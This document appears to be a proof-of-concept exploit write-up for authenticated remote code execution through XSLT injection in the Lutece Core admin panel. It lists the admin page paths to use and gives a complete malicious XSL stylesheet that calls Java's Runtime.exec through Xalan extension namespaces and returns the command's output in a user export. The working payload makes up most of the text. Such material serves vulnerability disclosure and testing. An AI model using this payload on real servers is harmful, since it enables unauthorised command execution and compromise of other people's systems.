
Proof-of-concept exploit for authenticated remote code execution via XSLT injection in Lutece Core, demonstrating command execution through crafted XSL stylesheets.
> Explanations and more on my website <
You need an account with admin privileges.
On the admin panel, navigate to the XSL export management page :
/jsp/admin/AdminTechnicalMenu.jsp?tab=xslexportManagement#xslexport
Click on "Add a new transformation sheet".
Upload an .xsl file with the payload (simple id command) :
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process"
xmlns:is="http://xml.apache.org/xalan/java/java.io.InputStreamReader"
xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader">
<xsl:template match="/">
<xsl:variable name="process" select="rt:exec(rt:getRuntime(), 'id')"/>
<xsl:variable name="inputStream" select="proc:getInputStream($process)"/>
<xsl:variable name="reader" select="is:new($inputStream)"/>
<xsl:variable name="buffereReader" select="br:new($reader)"/>
<xsl:variable name="resultat" select="br:readLine($buffereReader)"/>
<Output>
<xsl:value-of select="$resultat"/>
</Output>
</xsl:template>
</xsl:stylesheet>
Save the new XSL sheet.
Navigate to the export users page :
/jsp/admin/user/ExportUsers.jsp
Select the transformation sheet that we just created and validate.
The result of the id command should be in the exported file.